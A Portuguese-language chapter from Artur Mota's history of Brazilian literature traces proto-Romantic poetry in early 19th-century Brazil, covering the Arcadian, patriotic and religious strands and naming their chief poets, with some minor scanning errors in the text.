O PROTO-ROMANTISMO BRASILEIRO e a ARCÁDIA LUSITANA

Biblioteca Academia Paulista de Letras – volume 7.

História da Literatura Brasileira TOMO I. vol 3.

 LIVRO PRIMEIRO Época de Transformação (século XIX) 2º período (Fase Patriótica)

Artur Mota (Arthur Motta) (1879 – 1936)

LIVRO SEGUNDO

ÉPOCA DE TRANSFORMAÇÃO (1800-1835)

PERÍODO DE TRANSIÇÃO DOS CLÁSSICOS PARA OS ROMÂNTICOS

Manifestação literária, artística, científica e filosófica

CAPÍTULO I

PROTO-ROMANTISMO

A POESIA

Haviam os poetas do denominado grupo mineiro imprimido nova feição à poesia, quase divorciados dos modelos clássicos portugueses, ridicularizados por Verney, no "Verdadeiro método de estudar". Tornaram-se, pelo caráter de sua obra poética e, sobretudo, pelo encanto e frescor do seu lirismo, os legítimos precursores dos poetas românticos. Ultrapassaram os poetas portugueses do tempo e souberam interpretar o momento crítico da nossa evolução autonômica. Tiveram originalidade de inspiração e relativa independência de processos estéticos, pelo vigor de expressão e sinceridade de sentimentos.

Se os portugueses marcam o início do período proto-romântico com Leonor de Almeida (Alcipe, segundo o seu nome arcádico) e com Francisco Manuel do Nascimento (Filinto Elysio), podem os brasileiros fixar o começo do mesmo período em a nossa literatura, com os poetas do denominado grupo mineiro, ou da Arcádia Ultramarina.

Lá os fenômenos de diferenciação que atuaram, consistiram na resistência oposta à tendência do predomínio dos espanhóis, sempre animados do espírito de conquista; no contato assíduo com o elemento inglês, por aliança militar e influência política e cultural; na influência dos lakistas ingleses e dos proto-românticos alemães, Aqui as causas diferenciais atuaram sob o influxo revolucionário de Rousseau, Voltaire, Montesquieu e dos enciclopedistas que exaltaram a sensibilidade e o entusiasmo dos nossos poetas; pelo exemplo da independência norte-americana; pelo sentimento de revolta contra o jugo da metrópole. O sonho e os anelos de liberdade repercutiram no Brasil, onde os intelectuais alimentavam a preocupação constante de libertar o país da exploração ferrenha e odiosa dos dominadores. As decisões do Congresso de Filadélfia exerceram fascinação no espírito e na mentalidade dos brasileiros, principalmente dos moços que estudavam na França ou mesmo em Portugal.

A Arcádia Lusitana, cuja fundação data de 1756, começou a funcionar no ano imediato e realizou a sua última sessão em 1774. Dos seus 37 membros mais se distinguiram Garção, Dinis, Quita e Figueiredo. A Ultramarina congregou elementos de mais acentuado valor, como o grupo de poetas mineiros e alguns fluminenses, já estudados no volume anterior.

O gênero pastoril proviera’ da decadência da civilização helénica, com os idílios de Teócrito. Transplantara-se para a literatura latina e esplendera com Virgílio. Durante a Idade Média não se eclipsou a manifestação da poesia bucólica. Vigorou nas canções de gesta e nos mistérios e teve existência própria na pastourelle e na pastorella; caracterizou-se no "Jeu de Robin et de Marión", do poeta Adam de La Halle. Adquiriu incremento com Sannazaro, Marot, Encina e seus satélites, no alvorecer do renascimento, com as doze églogas deW"Arcadia" com a "Églogue au Roi", com "Las Bucólicas" e farta messe de atestados bastante eloqüentes. Perdurou com os pastores da Plêiade; em "Aminta" e "II Pastor fido", de Tasso; em Guarini, Garcilaso, Cervantes, Jorge de Monte-mor, Lope de Vega, d’Urfé, Racan e em tantos mais, até irromper nos árcades portugueses e brasileiros do século XVIII.

Fontenelle (1) e La Motte(2) dedicaram-lhe estudos especializados. Marmontel, Florian e Sainte-Beuve estudaram-lhe a evolução.

O gênero pastoril logrou franco domínio na literatura universal, principalmente das línguas novo-latinas, e exerceu influência até no romantismo, em todos os países da Europa e da América.

No início do século XIX fazia sentir-se a sua existência em alguns remanescentes da centúria anterior, principalmente em José Bonifácio (3>, J. Eloy Ottoni (4>, Vilela Barbosa, Ladislau Santos Titara, Borges de Barros e poucos mais.

Consorciaram-se nesse gênero bucólico a manifestação do lirismo brasileiro, já desabrochada e em pleno viço, na geração anterior, e o culto panteístico que se manifestara desde os primórdios da poesia brasileira, com Manuel Botelho de Oliveira.

Viera o lirismo, na sua forma subjetiva, como herança do sentimento popular dos lusitanos, exp’resso nas serranilhas e em outras maneiras de expansão da poesia popular. Vicejou, entre nós, com mais exuberância, porque encontrou no Brasil outros elementos de vigoroso alento, novos fatores de desenvolvimento, que lhe determinaram maior rapidez na marcha evolutiva e lhe asseguraram caracteres diferenciais bem acentuados. A mudança de cenário e a dis-semelhança de atributos mesológicos imprimiram outras feições, novos adornos, verdadeiro esplendor, à maneira objetiva.

(1) "Discours sur la nature de l’Églogue".

(2) "Discours sur l’Églogue".

(3) O seu livro de versos foi publicado em 1825, mas, em grande parte, as suas produções poéticas datam de 1783 a 1790.

(4) Na sua primeira fase era um árcade, como atestam "Anália de Josino" (1801-1802) e algumas poesias posteriores.

 

Assim como atuaram o novo complexo de circunstâncias sociais, sobretudo o fenômeno de mestiçagem, e a profunda divergência de meio físico, para imprimir outras diretrizes ao lirismo brasileiro, houve também uma causa determinante para se constituir a denominada poesia patriótica. Das peças louvaminhas a potentados e representantes da metrópole, das formas ditirâmbicas e laudatórias que evoluíram dos hinos religiosos e heróicos e de que tivemos exemplares característicos, surgiram as odes e sonetos aos libertadores da pátria, aos legítimos heróis da nossa história, aos mártires da independência e a tudo o que podia exaltar o sentimento nacional.

Natividade Saldanha é o representante máximo desse gênero. A ele se aliaram José Bonifácio, Frei Caneca, Domingos Borges de Barros e outros ainda.

A terceira modalidade da poesia brasileira no primeiro quartel do século XIX, foi a religiosa ou mística. Consubstanciou-se em Sousa Caldas, Fr. Francisco de S. Carlos, J. Elói Ottoni e F. Ferreira Barreto, como representantes de maior vulto, além dos membros da Arcádia Franciscana Fluminense e sacerdotes de outras ordens.

Muitos outros poetas se encontram nesse período da nossa história literária. Como representantes do puro classicismo, alguns, e a maioria como elementos de transição entre clássicos e românticos, caracterizando a fase denominada prolo-romantismo.

Januário da Cunha Barbosa,(5), como os poetas que já foram citados, conservou os moldes clássicos, tanto nos processos estéticos, como no estilo e na versificação. Como ele, mantiveram-se Bastos Baraúna, Sta. Úrsula Rodovalho, M. Ferreira de Araújo Guimarães, Santos Capirunga, Guedes de Andrade, Santos Reis, Fr. Santa Gertrudes Magna, Ferreira de Sousa, Manuel Alves Branco, Antônio Joaquim de Melo (2.°), além de outros muitos.

Filiam-se ao segundo grupo, como precursores do romantismo, C. Araújo Viana, Odorico Mendes, Maciel Monteiro, Firmino Silva, Bernardino Ribeiro, José Maria do Amaral, Barros Falcão, Muniz Barreto, os irmãos Queiroga, Álvaro Teixeira de Macedo, Delfina da Cunha, J.C. Bandeira de Melo, A. Félix Martins, Velho da Silva e alguns mais.

(5) Figura entre os fautores da independência.

Todos fazem parte integrante da época de transformação(6) cujo estudo foi iniciado no volume precedente (7) e distribuem-se pelos quatro períodos em que dividi a época aludida: a) período ar cádico, já estudado na sua principal manifestação; b) fase patriótica; c) fase religiosa; e d) período de transição dos clássicos para os românticos.

Com o advento do romantismo, operou-se a metamorfose do ar-cadismo, sempre adstrito ao gênero pastoril, na apreciação da vida rural, em que foram focalizados os tipos do matuto e do sertanejo em geral, os costumes nas fazendas e nos pequenos núcleos urbanos, as variedades do meio campesino, as lendas e outros subsídios do domínio folclórico. Apareceram o indianismo, como expressão de um nacionalismo subjetivo, de caráter simbólico; e o regionalismo, consubstanciando o nacionalismo concreto de sertanistas e tradicionalistas, em várias manifestações.

A fase patriótica da nossa poesia ganhou incremento, até se aperfeiçoar com os precursores e os legítimos representantes da poesia denominada condoreira, isto é, da poesia social.

A fase religiosa também se desenvolveu na época de expansão autonômica, na poesia como na filosofia, até se libertar do misticismo ou da função meramente teológica, para alcançar a modalidade de poesia filosófica.

O proto-romantismo só se converteu em lídima expressão romântica, a partir de Gonçalves Magalhães, Gonçalves Dias e Porto Alegre, isto é, após 1830.

Os fenômenos sociais que mais influíram na diferenciação do classicismo com tendências para o romantismo, foram a inconfidência mineira e outras tentativas de emancipação política; o reinado de D. João VI, quando se impulsionou a vida intelectual em todos os seus aspectos; e a autonomia nacional, durante o primeiro império.

No período das regências e na longa existência do segundo império, a nação conseguiu organização estável e emancipou-se da tutela da antiga metrópole.

A emancipação tornou-se extensiva à mentalidade brasileira e, por conseguinte, à poesia e aos demais gêneros literários.

(6) A maior parte dos poetas nomeados neste capítulo figuram em outras seções do volume, como representantes dos gêneros em que mais se distinguiram e onde se tornaram mais conhecidos.

(7) Artur Mota — "História da literatura brasileira" — Época de transformação (séculos XVII e XVIII) — 1930.

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